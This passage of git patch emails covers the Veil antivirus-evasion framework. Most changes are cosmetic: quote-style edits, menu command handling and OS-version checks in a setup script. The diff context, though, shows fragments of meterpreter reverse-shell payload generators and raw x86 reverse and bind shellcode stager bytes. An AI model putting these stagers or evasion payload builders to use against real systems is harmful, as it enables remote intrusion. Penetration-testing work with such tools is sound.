cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {OPTION : [Value, Description]]} @@ -88,7 +88,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/ruby/meterpreter/rev_http.py b/tools/evasion/payloads/ruby/meterpreter/rev_http.py index 1ea80a5..748838d 100644 --- a/tools/evasion/payloads/ruby/meterpreter/rev_http.py +++ b/tools/evasion/payloads/ruby/meterpreter/rev_http.py @@ -28,7 +28,7 @@ def __init__(self, cli_obj): elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} diff --git a/tools/evasion/payloads/ruby/meterpreter/rev_https.py b/tools/evasion/payloads/ruby/meterpreter/rev_https.py index 4d9e61d..39ccfeb 100644 --- a/tools/evasion/payloads/ruby/meterpreter/rev_https.py +++ b/tools/evasion/payloads/ruby/meterpreter/rev_https.py @@ -29,7 +29,7 @@ def __init__(self, cli_obj): elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} @@ -45,7 +45,7 @@ def __init__(self, cli_obj): } def generate(self): - payload_code = '' + payload_code = "" payload_code = "require 'rubygems';require 'uri';require 'win32/api';require 'net/https';require 'openssl';include Win32\n" # Add logic for adding this line, stupid bug and I have no idea diff --git a/tools/evasion/payloads/ruby/meterpreter/rev_tcp.py b/tools/evasion/payloads/ruby/meterpreter/rev_tcp.py index 9357b10..5ee2597 100644 --- a/tools/evasion/payloads/ruby/meterpreter/rev_tcp.py +++ b/tools/evasion/payloads/ruby/meterpreter/rev_tcp.py @@ -28,7 +28,7 @@ def __init__(self, cli_obj): elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} diff --git a/tools/evasion/payloads/ruby/shellcode_inject/base64.py b/tools/evasion/payloads/ruby/shellcode_inject/base64.py index 382082d..249fd86 100644 --- a/tools/evasion/payloads/ruby/shellcode_inject/base64.py +++ b/tools/evasion/payloads/ruby/shellcode_inject/base64.py @@ -24,13 +24,13 @@ def __init__(self, cli_obj): self.path = "ruby/shellcode_inject/base64" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} @@ -48,7 +48,7 @@ def generate(self): # How I'm tracking the number of nested tabs needed # to make the payload num_ends_required = 0 - payload_code = '' + payload_code = "" # randomly generate out variable names payloadName = evasion_helpers.randomString() @@ -74,7 +74,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/ruby/shellcode_inject/flat.py b/tools/evasion/payloads/ruby/shellcode_inject/flat.py index 0e01df5..3722978 100644 --- a/tools/evasion/payloads/ruby/shellcode_inject/flat.py +++ b/tools/evasion/payloads/ruby/shellcode_inject/flat.py @@ -21,13 +21,13 @@ def __init__(self, cli_obj): self.path = "ruby/shellcode_inject/flat" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} @@ -63,7 +63,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/ordnance/encoders/xor.py b/tools/ordnance/encoders/xor.py index e443b11..f1e785c 100644 --- a/tools/ordnance/encoders/xor.py +++ b/tools/ordnance/encoders/xor.py @@ -191,7 +191,7 @@ def all_the_stats(self, parsed_cli_object): print("IP Address: " + parsed_cli_object.ip) print("Port: " + str(parsed_cli_object.port)) print("Encoder Name: " + self.name) - string_bad_chars = '' + string_bad_chars = "" for bchar in self.bad_chars: string_bad_chars += str(hex(bchar)) + " " print("Bad Character(s): " + string_bad_chars) diff --git a/tools/ordnance/ordnance_common/payload_options.py b/tools/ordnance/ordnance_common/payload_options.py index 0d61e3a..7362722 100644 --- a/tools/ordnance/ordnance_common/payload_options.py +++ b/tools/ordnance/ordnance_common/payload_options.py @@ -5,7 +5,7 @@ class Payload_Details: def __init__(self): - self.payload = '' - self.lhost = '' - self.lport = '' - self.bad_chars = '' + self.payload = "" + self.lhost = "" + self.lport = "" + self.bad_chars = "" diff --git a/tools/ordnance/payloads/x86/bind_tcp.py b/tools/ordnance/payloads/x86/bind_tcp.py index b69ddbf..f643ef7 100644 --- a/tools/ordnance/payloads/x86/bind_tcp.py +++ b/tools/ordnance/payloads/x86/bind_tcp.py @@ -17,7 +17,7 @@ def __init__(self, cli_arguments): self.platform = "Windows" self.arch = "x86" self.port_offset = 197 - self.customized_shellcode = '' + self.customized_shellcode = "" self.stager = ( b"\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + diff --git a/tools/ordnance/payloads/x86/rev_http.py b/tools/ordnance/payloads/x86/rev_http.py index a18ba6b..2a7f3cd 100644 --- a/tools/ordnance/payloads/x86/rev_http.py +++ b/tools/ordnance/payloads/x86/rev_http.py @@ -22,7 +22,7 @@ def __init__(self, cli_arguments): self.lport_offset = 180 # This is actually going to be little endian self.uri_offset = 252 self.exit_func = '\xf0\xb5\xa2\x56' - self.customized_shellcode = '' + self.customized_shellcode = "" # The \x5c and \x11 are overwritten by the lport value self.stager = ( b"\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + @@ -65,7 +65,7 @@ def gen_shellcode(self): def payload_gen(self): # Take the passed in attributes and gen shellcode - ip_shellcode = '' + ip_shellcode = "" n = 2 ip_shellcode_stage = binascii.hexlify(self.required_options["LHOST"][0].encode()) ip_shellcode_stage = [ip_shellcode_stage[i:i + n] for i in range(0, len(ip_shellcode_stage), n)] @@ -103,7 +103,7 @@ def payload_gen(self): incoming_uri = ordnance_helpers.gen_uri() # Convert the URI for use within shellcode - uri_shellcode = '' + uri_shellcode = "" hexed_uri = binascii.hexlify(incoming_uri.encode('UTF-8')) hexed_uri = [hexed_uri[i:i + n] for i in range(0, len(hexed_uri), n)] for two_bites in hexed_uri: diff --git a/tools/ordnance/payloads/x86/rev_https.py b/tools/ordnance/payloads/x86/rev_https.py index 55e114d..8616da9 100644 --- a/tools/ordnance/payloads/x86/rev_https.py +++ b/tools/ordnance/payloads/x86/rev_https.py @@ -22,7 +22,7 @@ def __init__(self, cli_arguments): self.lport_offset = 180 # This is actually going to be little endian self.uri_offset = 272 self.exit_func = '\xf0\xb5\xa2\x56' - self.customized_shellcode = '' + self.customized_shellcode = "" # The \x5c and \x11 are overwritten by the lport value self.stager = ( b"\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + @@ -67,7 +67,7 @@ def gen_shellcode(self): def payload_gen(self): # Take the passed in attributes and gen shellcode - ip_shellcode = '' + ip_shellcode = "" n = 2 ip_shellcode_stage = binascii.hexlify(self.required_options["LHOST"][0].encode()) ip_shellcode_stage = [ip_shellcode_stage[i:i + n] for i in range(0, len(ip_shellcode_stage), n)] @@ -105,7 +105,7 @@ def payload_gen(self): incoming_uri = ordnance_helpers.gen_uri() # Convert the URI for use within shellcode - uri_shellcode = '' + uri_shellcode = "" hexed_uri = binascii.hexlify(incoming_uri.encode('UTF-8')) hexed_uri = [hexed_uri[i:i + n] for i in range(0, len(hexed_uri), n)] for two_bites in hexed_uri: diff --git a/tools/ordnance/payloads/x86/rev_tcp.py b/tools/ordnance/payloads/x86/rev_tcp.py index ea9301f..31cc389 100644 --- a/tools/ordnance/payloads/x86/rev_tcp.py +++ b/tools/ordnance/payloads/x86/rev_tcp.py @@ -24,7 +24,7 @@ def __init__(self, cli_arguments): self.lport_offset = 201 self.exitfunc_offset = 226 self.exit_func = '\xf0\xb5\xa2\x56' - self.customized_shellcode = '' + self.customized_shellcode = "" self.stager = ( b"\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + @@ -78,7 +78,7 @@ def payload_stats(self): def payload_gen(self): # Take the passed in attributes and gen shellcode - ip_shellcode = '' + ip_shellcode = "" n = 2 ip_shellcode_stage = binascii.hexlify(socket.inet_aton(self.required_options["LHOST"][0])) ip_shellcode_stage = [ip_shellcode_stage[i:i + n] for i in range(0, len(ip_shellcode_stage), n)] diff --git a/tools/ordnance/payloads/x86/rev_tcp_all_ports.py b/tools/ordnance/payloads/x86/rev_tcp_all_ports.py index 19ed042..f2a98a3 100644 --- a/tools/ordnance/payloads/x86/rev_tcp_all_ports.py +++ b/tools/ordnance/payloads/x86/rev_tcp_all_ports.py @@ -23,7 +23,7 @@ def __init__(self, cli_arguments): self.lport_offset = 202 self.exitfunc_offset = 226 self.exit_func = '\xf0\xb5\xa2\x56' - self.customized_shellcode = '' + self.customized_shellcode = "" self.stager = ( b"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + @@ -64,7 +64,7 @@ def gen_shellcode(self): def payload_gen(self): # Take the passed in attributes and gen shellcode - ip_shellcode = '' + ip_shellcode = "" n = 2 ip_shellcode_stage = binascii.hexlify(socket.inet_aton(self.required_options["LHOST"][0])) ip_shellcode_stage = [ip_shellcode_stage[i:i + n] for i in range(0, len(ip_shellcode_stage), n)] diff --git a/tools/ordnance/payloads/x86/rev_tcp_dns.py b/tools/ordnance/payloads/x86/rev_tcp_dns.py index 2aa5695..4cb12b5 100644 --- a/tools/ordnance/payloads/x86/rev_tcp_dns.py +++ b/tools/ordnance/payloads/x86/rev_tcp_dns.py @@ -21,7 +21,7 @@ def __init__(self, cli_arguments): self.retries_offset = 207 self.lport_offset = 212 self.lhost_offset = 248 - self.customized_shellcode = '' + self.customized_shellcode = "" self.stager = ( b"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + @@ -66,7 +66,7 @@ def gen_shellcode(self): def payload_gen(self): # Take the passed in attributes and gen shellcode - ip_shellcode = '' + ip_shellcode = "" n = 2 ip_shellcode_stage = binascii.hexlify(self.required_options["LHOST"][0].encode()) ip_shellcode_stage = [ip_shellcode_stage[i:i+n] for i in range(0, len(ip_shellcode_stage), n)] From 8a94b3b1c650c87bbff15e9cef72d4b4ff506b65 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Thu, 12 Apr 2018 13:43:10 +0100 Subject: [PATCH 17/38] Menu work --- lib/common/orchestra.py | 28 ++++++------- tools/evasion/tool.py | 85 ++++++++++++++++++++-------------------- tools/ordnance/tool.py | 87 +++++++++++++++++++++++------------------ 3 files changed, 104 insertions(+), 96 deletions(-) diff --git a/lib/common/orchestra.py b/lib/common/orchestra.py index d3798d0..95b7c27 100644 --- a/lib/common/orchestra.py +++ b/lib/common/orchestra.py @@ -81,7 +81,7 @@ def load_tools(self, command_line_object): def main_menu(self): # default blank command for the main menu loop - main_menu_command = '' + main_menu_command = "" show_header = True # Try except to catch keyboard interrupts @@ -115,7 +115,7 @@ def main_menu(self): # List tools, don't show header, loop back in main menu self.list_tools() show_header = False - main_menu_command = '' + main_menu_command = "" elif len(main_menu_command.split()) == 2: @@ -145,23 +145,23 @@ def main_menu(self): show_header = True # Once done with tool, clear main menu command - main_menu_command = '' + main_menu_command = "" show_header = True # Catch anything else, like an error else: - main_menu_command = '' + main_menu_command = "" elif main_menu_command.startswith('list'): # List tools, don't show header, loop back in main menu self.list_tools() show_header = False - main_menu_command = '' + main_menu_command = "" elif main_menu_command.startswith('info'): if len(main_menu_command.split()) == 1: show_header = True - main_menu_command = '' + main_menu_command = "" elif len(main_menu_command.split()) == 2: @@ -190,37 +190,37 @@ def main_menu(self): print() show_header = False - main_menu_command = '' + main_menu_command = "" else: - main_menu_command = '' + main_menu_command = "" show_header = True elif main_menu_command.startswith('option'): self.options_veil() - main_menu_command = '' + main_menu_command = "" # Hidden menu option elif main_menu_command.startswith('config'): self.config_veil() - main_menu_command = '' + main_menu_command = "" # Hidden menu option elif main_menu_command.startswith('setup'): self.setup_veil() - main_menu_command = '' + main_menu_command = "" elif main_menu_command.startswith('update'): self.update_veil() - main_menu_command = '' + main_menu_command = "" - elif main_menu_command.startswith('exit'): + elif main_menu_command.startswith('exit') or main_menu_command.startswith('quit'): print('\n' + helpers.color('Quitting Veil', warning=True) + '\n') sys.exit() else: show_header = True - main_menu_command = '' + main_menu_command = "" except KeyboardInterrupt: print("\n\n" + helpers.color("Rage quit!", warning=True)) diff --git a/tools/evasion/tool.py b/tools/evasion/tool.py index 83bbe56..a71a383 100644 --- a/tools/evasion/tool.py +++ b/tools/evasion/tool.py @@ -47,7 +47,7 @@ def __init__(self, cli_options=None): "back" : "Go to main Veil menu", "clean" : "Remove generated artifacts", "checkvt": "Check VirusTotal against generated hashes"} - self.final_shellcode = '' + self.final_shellcode = "" self.payload_option_commands = { "set": "Set shellcode option", "generate": "Generate the payload", @@ -98,9 +98,9 @@ def clean_artifacts(self, interactive=True): # prompt for confirmation if we're in the interactive menu if interactive: - choice = input("\n [>] Are you sure you want to clean payload folders? [y/N] ") + choice = input("\n [>] Are you sure you want to clean payload folders? [y/N] ").strip().lower() - if choice.lower() == "y": + if choice.startswith('y'): helpers.clean_payloads() choice = input("\n [>] Folders cleaned, press any enter to return to the main menu.") @@ -282,7 +282,7 @@ def return_payload_object(self, user_selection): if int(user_selection) == counter_value: return payload_module else: - if user_selection.lower().strip() == payload_path: + if user_selection.strip().lower() == payload_path: return payload_module # Iterate counter for number based selection @@ -292,7 +292,7 @@ def return_payload_object(self, user_selection): def tool_main_menu(self): # This is the main function where everything is called from # Iterate over payloads and find the user selected payload module - evasion_main_command = '' + evasion_main_command = "" show_evasion_menu = True while evasion_main_command == '': @@ -313,24 +313,24 @@ def tool_main_menu(self): print() show_evasion_menu = True - evasion_main_command = input('Veil-Evasion command: ').strip() + evasion_main_command = input('Veil-Evasion command: ').strip().lower() - if evasion_main_command.lower() == "back": - evasion_main_command = '' + if evasion_main_command.startswith("back") or evasion_main_command.startswith("main"): + evasion_main_command = "" break - elif evasion_main_command.lower() == "checkvt": + elif evasion_main_command.startswith("checkvt"): self.check_vt() - evasion_main_command = '' + evasion_main_command = "" - elif evasion_main_command.lower() == "clean": + elif evasion_main_command.startswith("clean"): self.clean_artifacts() - evasion_main_command = '' + evasion_main_command = "" - elif evasion_main_command.lower() == "exit": + elif evasion_main_command.startswith("exit") or evasion_main_command.startswith("quit"): sys.exit(0) - elif evasion_main_command.lower().startswith('info'): + elif evasion_main_command.startswith('info'): if len(evasion_main_command.split()) == 2: payload_selected = evasion_main_command.split()[1] selected_payload_module = self.return_payload_object(payload_selected) @@ -339,11 +339,11 @@ def tool_main_menu(self): print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) print(helpers.color("[*] Ex: info 2 or info lua/shellcode_inject/flat.py", warning=True)) print() - evasion_main_command = '' + evasion_main_command = "" show_evasion_menu = False else: self.print_options_screen(selected_payload_module) - evasion_main_command = '' + evasion_main_command = "" show_evasion_menu = False else: @@ -351,18 +351,17 @@ def tool_main_menu(self): print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) print(helpers.color("[*] Ex: info 2 or info lua/shellcode_inject/flat.py", warning=True)) print() - evasion_main_command = '' + evasion_main_command = "" show_evasion_menu = False - elif evasion_main_command.lower().startswith('list'): - + elif evasion_main_command.startswith('list'): evasion_helpers.title_screen() self.list_loaded_payloads() show_evasion_menu = False print() - evasion_main_command = '' + evasion_main_command = "" - elif evasion_main_command.lower().startswith('use'): + elif evasion_main_command.startswith('use'): if len(evasion_main_command.split()) == 2: payload_selected = evasion_main_command.split()[1] selected_payload_module = self.return_payload_object(payload_selected) @@ -371,11 +370,11 @@ def tool_main_menu(self): print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) print(helpers.color("[*] Ex: info 2 or info lua/shellcode_inject/flat.py", warning=True)) print() - evasion_main_command = '' + evasion_main_command = "" show_evasion_menu = False else: self.use_payload(selected_payload_module) - evasion_main_command = '' + evasion_main_command = "" show_evasion_menu = True else: @@ -383,11 +382,11 @@ def tool_main_menu(self): print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) print(helpers.color("[*] Ex: use 2 or use lua/shellcode_inject/flat.py", warning=True)) print() - evasion_main_command = '' + evasion_main_command = "" show_evasion_menu = False else: - evasion_main_command = '' + evasion_main_command = "" return def use_payload(self, selected_payload): @@ -399,40 +398,40 @@ def use_payload(self, selected_payload): self.display_payload_options(selected_payload) - payload_options_cmd = "" + payload_options_command = "" evasion_helpers.print_dict_message(self.payload_option_commands, show_title=False) while True: - payload_options_cmd = input("\n[" + selected_payload.path + ">>] ").strip() + payload_options_command = input("\n[" + selected_payload.path + ">>] ").strip().lower() - if payload_options_cmd.lower() == "back" or payload_options_cmd.lower() == "main": - payload_options_cmd = "" + if payload_options_command.startswith("back") or payload_options_command.startswith("main"): + payload_options_command = "" break - elif payload_options_cmd.lower() == "generate": + elif payload_options_command.startswith("gen") or payload_options_command.startswith("run"): # Checking for Ruby specific payloads because of dumbass sleep check if selected_payload.language == 'ruby' and selected_payload.required_options["SLEEP"][0] != "X" and selected_payload.required_options["USERNAME"][0] == "X" and selected_payload.required_options["DOMAIN"][0] == "X" and selected_payload.required_options["HOSTNAME"][0] == "X": print(helpers.color("[*] If using SLEEP check with Ruby, you must also provide an additional check (like HOSTNAME)!", warning=True)) - payload_options_cmd = "" + payload_options_command = "" else: selected_payload.generate() if not outfile.compiler(selected_payload): - payload_options_cmd = "" + payload_options_command = "" else: - payload_options_cmd = "" + payload_options_command = "" break - elif payload_options_cmd.lower() == "exit": + elif payload_options_command.startswith("exit") or payload_options_command.startswith("quit"): sys.exit(0) - elif payload_options_cmd.lower() == "help" or payload_options_cmd.lower() == "options": + elif payload_options_command.startswith("help") or payload_options_command.startswith("option"): self.print_options_screen(selected_payload) evasion_helpers.print_dict_message(self.payload_option_commands, show_title=False) - payload_options_cmd = "" + payload_options_command = "" - elif payload_options_cmd.lower().startswith("set"): - if len(payload_options_cmd.split()) == 3: - set_command, key, value = payload_options_cmd.split() + elif payload_options_command.startswith("set"): + if len(payload_options_command.split()) == 3: + set_command, key, value = payload_options_command.split() # Make sure it is uppercase key = key.upper() if key in selected_payload.required_options: @@ -444,7 +443,7 @@ def use_payload(self, selected_payload): print() print(helpers.color("[*] Error: You did not provide a valid IP!", warning=True)) print() - payload_options_cmd = '' + payload_options_command = "" # Validate LPORT elif key is "LPORT": if helpers.validate_port(value): @@ -453,7 +452,7 @@ def use_payload(self, selected_payload): print() print(helpers.color("[*] Error: You did not provide a valid port number!", warning=True)) print() - payload_options_cmd = '' + payload_options_command = "" else: # Set other options @@ -469,11 +468,11 @@ def use_payload(self, selected_payload): print(helpers.color("[*] Error: You did not provide a valid amount of arguments!", warning=True)) print(helpers.color("[*] Ex: set DOMAIN christest.com", warning=True)) print() - payload_options_cmd = '' + payload_options_command = "" else: # Not a real command evasion_helpers.print_dict_message(self.payload_option_commands) - payload_options_cmd = "" + payload_options_command = "" return diff --git a/tools/ordnance/tool.py b/tools/ordnance/tool.py index e282424..8f0b370 100644 --- a/tools/ordnance/tool.py +++ b/tools/ordnance/tool.py @@ -33,7 +33,7 @@ def __init__(self, cli_options=None): "info": "Information on a specific payload or encoder", "exit": "Exit Veil", "back": "Go to main Veil menu"} - self.final_shellcode = '' + self.final_shellcode = "" self.shellcode_option_commands = { "set": "Set shellcode option", "generate": "Generate the shellcode", @@ -43,7 +43,7 @@ def __init__(self, cli_options=None): } # Used to track if invoked by another tool self.invoked = False - self.selected_payload = '' + self.selected_payload = "" self.payload_options = {} def cli_menu(self, invoked=False): @@ -168,7 +168,7 @@ def tool_main_menu(self, invoked=False): # This is the main function where everything is called from # Iterate over payloads and find the user selected payload module # invoked is used when another tool is calling this function - ordnance_main_command = '' + ordnance_main_command = "" show_ordnance_menu = True if invoked: self.invoked = True @@ -186,70 +186,79 @@ def tool_main_menu(self, invoked=False): print() show_ordnance_menu = True - ordnance_main_command = input('Veil-Ordnance command: ').strip() + ordnance_main_command = input('Veil-Ordnance command: ').strip().lower() # See if we're listing payloads or encoders - if ordnance_main_command.lower().startswith('list'): + if ordnance_main_command.startswith('list'): if len(ordnance_main_command.split()) == 1: print() print(helpers.color("[*] Error: You did not provide what you want to list!", warning=True)) print(helpers.color("[*] Ex: list payloads or list encoders", warning=True)) print() - ordnance_main_command = '' + ordnance_main_command = "" show_ordnance_menu = False elif len(ordnance_main_command.split()) == 2: - list_selection = ordnance_main_command.split()[1] + list_selection = ordnance_main_command.split()[1].lower() # Check and see what we are listing - if list_selection.lower() == 'payloads': + if list_selection.startswith('p'): ordnance_helpers.title_screen() self.print_payloads() - show_ordnance_menu = False print() - ordnance_main_command = '' + ordnance_main_command = "" + show_ordnance_menu = False - elif list_selection.lower() == 'encoders': + elif list_selection.startswith('e'): ordnance_helpers.title_screen() self.print_encoders() - show_ordnance_menu = False print() - ordnance_main_command = '' + ordnance_main_command = "" + show_ordnance_menu = False else: - show_ordnance_menu = False print() print(helpers.color("[*] Error: You did not provide a valid item to list!", warning=True)) print(helpers.color("[*] Ex: list payloads or list encoders", warning=True)) print() - ordnance_main_command = '' + ordnance_main_command = "" + show_ordnance_menu = False else: - ordnance_main_command = '' + ordnance_main_command = "" - elif ordnance_main_command.lower() == "help": - ordnance_main_command = '' + elif ordnance_main_command.startswith("help"): + ordnance_main_command = "" - elif ordnance_main_command.lower() == "back": - ordnance_main_command = '' + elif ordnance_main_command.startswith("back") or ordnance_main_command.startswith("main") : + ordnance_main_command = "" break - elif ordnance_main_command.lower() == "exit": + elif ordnance_main_command.startswith("exit") or ordnance_main_command.startswith("quit"): if invoked: break else: sys.exit(0) - elif ordnance_main_command.lower().startswith('use'): + elif ordnance_main_command.startswith('use'): if len(ordnance_main_command.split()) < 2: + print() print(helpers.color("[*] Error: You did not provide the payload to use!", warning=True)) print(helpers.color("[*] Ex: use rev_http", warning=True)) - ordnance_main_command = '' + print() + ordnance_main_command = "" + show_ordnance_menu = False + elif len(ordnance_main_command.split()) > 2: + print() print(helpers.color("[*] Error: You provided too many options!", warning=True)) print(helpers.color("[*] Ex: use rev_http", warning=True)) + print() + ordnance_main_command = "" + show_ordnance_menu = False + else: self.selected_payload = ordnance_main_command.split()[1].lower() self.use_payload(self.selected_payload) @@ -260,11 +269,11 @@ def tool_main_menu(self, invoked=False): if self.final_shellcode == '': show_ordnance_menu = False - self.selected_payload = '' - ordnance_main_command = '' + self.selected_payload = "" + ordnance_main_command = "" else: - ordnance_main_command = '' + ordnance_main_command = "" return def use_encoder(self, incoming_pload): @@ -293,13 +302,13 @@ def use_payload(self, incoming_payload): readline.set_completer(comp.complete) breakout = False shellcode_command = input( - "[" + payload.cli_name + ">>]: ").lower().strip() + "[" + payload.cli_name + ">>]: ").strip().lower() # Start logic for required option commands if shellcode_command.startswith("set"): if len(shellcode_command.split()) < 3 or len(shellcode_command.split()) > 3: print(helpers.color("[*] Error: You did not provide the correct input for setting an option!", warning=True)) - print(helpers.color("[*] Error: Ex: set LHOST 192.168.18.14")) + print(helpers.color("[*] Ex: set LHOST 192.168.18.14", warning=True)) else: found_req_option = False for key, value in payload.required_options.items(): @@ -308,19 +317,19 @@ def use_payload(self, incoming_payload): value[0] = shellcode_command.split()[2] if not found_req_option: print(helpers.color("[*] Error: You didn't provide a correct option to set, please retry!", warning=True)) - elif shellcode_command == "exit": + elif shellcode_command.startswith("exit") or shellcode_command.startswith("quit"): # Completely exit out of Veil print(helpers.color("[*] You're rage quitting all of Veil!", warning=True)) sys.exit(0) - elif shellcode_command == "back": + elif shellcode_command.startswith("back") or shellcode_command.startswith("main") : # Go back to shellcode selection - shellcode_command = '' + shellcode_command = "" breakout = True break - elif shellcode_command == "generate": - lport_out = '' - lhost_out = '' - rhost_out = '' + elif shellcode_command.startswith("gen") or shellcode_command.startswith("run"): + lport_out = "" + lhost_out = "" + rhost_out = "" if ordnance_helpers.loop_req_options(payload): print(helpers.color("[*] Error: You didn't provide all the required options!", warning=True)) else: @@ -365,15 +374,15 @@ def use_payload(self, incoming_payload): dummy = input('\nHit enter to return to Veil-Evasion... ') else: dummy2 = input('\nHit enter to continue... ') - shellcode_command = '' + shellcode_command = "" if "LHOST" in payload.required_options: - payload.required_options["LHOST"][0] = '' + payload.required_options["LHOST"][0] = "" if "LPORT" in payload.required_options: - payload.required_options["LPORT"][0] = '' + payload.required_options["LPORT"][0] = "" breakout = True break - elif shellcode_command == "options": + elif shellcode_command.startswith("option"): # Reprint the shellcode options to console self.print_options_screen(payload) From 3cacc35ae8d85b263bdc2f04111053cfbe6bb7b7 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Thu, 12 Apr 2018 15:58:59 +0100 Subject: [PATCH 18/38] Fix #191 --- config/setup.sh | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) diff --git a/config/setup.sh b/config/setup.sh index e6f97d9..fbea816 100755 --- a/config/setup.sh +++ b/config/setup.sh @@ -32,6 +32,7 @@ fi userprimarygroup="$( id -Gn "${trueuser}" | cut -d' ' -f1 )" arch="$( uname -m )" osversion="$( awk -F '=' '/^VERSION_ID=/ {print $2}' /etc/os-release 2>&- | sed 's/"//g' )" +osmajversion="$( awk -F '["=]' '/^VERSION_ID=/ {print $3}' /etc/os-release 2>&- | cut -d'.' -f1 )" veildir="/var/lib/veil" outputdir="${veildir}/output" dependenciesdir="${veildir}/setup-dependencies" @@ -63,13 +64,14 @@ RESET="\033[00m" # Normal func_title(){ ## Echo title echo " ==========================================================================" - echo " Veil (Setup Script) | [Updated]: 2018-04-11" + echo " Veil (Setup Script) | [Updated]: 2018-04-12" echo " ==========================================================================" echo " [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework" echo " ==========================================================================" echo "" echo " os = ${os}" echo " osversion = ${osversion}" + echo " osmajversion = ${osmajversion}" echo " arch = ${arch}" echo " trueuser = ${trueuser}" echo " userprimarygroup = ${userprimarygroup}" @@ -781,33 +783,29 @@ if [ "${os}" == "kali" ]; then elif [ "${os}" == "parrot" ]; then echo -e " [I] ${YELLOW}Parrot Security ${osversion} ${arch} detected...${RESET}\n" elif [ "${os}" == "ubuntu" ]; then - version="$( awk -F '["=]' '/^VERSION_ID=/ {print $3}' /etc/os-release 2>&- | cut -d'.' -f1 )" echo -e " [I] ${YELLOW}Ubuntu ${osversion} ${arch} detected...${RESET}\n" - if [[ "${osversion}" -lt "15" ]]; then + if [[ "${osmajversion}" -lt "15" ]]; then echo -e " ${RED}[ERROR]: Veil is only supported On Ubuntu 15.10 or higher!${RESET}\n" exit 1 fi elif [ "${os}" == "linuxmint" ]; then - version="$( awk -F '["=]' '/^VERSION_ID=/ {print $3}' /etc/os-release 2>&- | cut -d'.' -f1 )" echo -e " [I] ${YELLOW}Linux Mint ${osversion} ${arch} detected...${RESET}\n" elif [ "${os}" == "deepin" ]; then - version="$( awk -F '["=]' '/^VERSION_ID=/ {print $3}' /etc/os-release 2>&- | cut -d'.' -f1 )" echo -e " [I] ${YELLOW}Deepin ${osversion} ${arch} detected...${RESET}\n" - if [[ "${osversion}" -lt "15" ]]; then + if [[ "${osmajversion}" -lt "15" ]]; then echo -e " ${RED}[ERROR]: Veil is only supported On Deepin 15 or higher!${RESET}\n" exit 1 fi elif [ "${os}" == '"elementary"' ]; then echo -e " [I] ${YELLOW}Elementary OS ${osversion} ${arch} detected...${RESET}\n" elif [ "${os}" == "debian" ]; then - version="$( awk -F '["=]' '/^VERSION_ID=/ {print $3}' /etc/os-release 2>&- | cut -d'.' -f1 )" - if [[ "${osversion}" -lt "8" ]]; then + if [[ "${osmajversion}" -lt "8" ]]; then echo -e " ${RED}[ERROR]: Veil is only supported on Debian 8 (Jessie) or higher!${RESET}\n" exit 1 fi elif [ "${os}" == "fedora" ]; then echo -e " [I] ${YELLOW}Fedora ${osversion} ${arch} detected...${RESET}\n" - if [[ 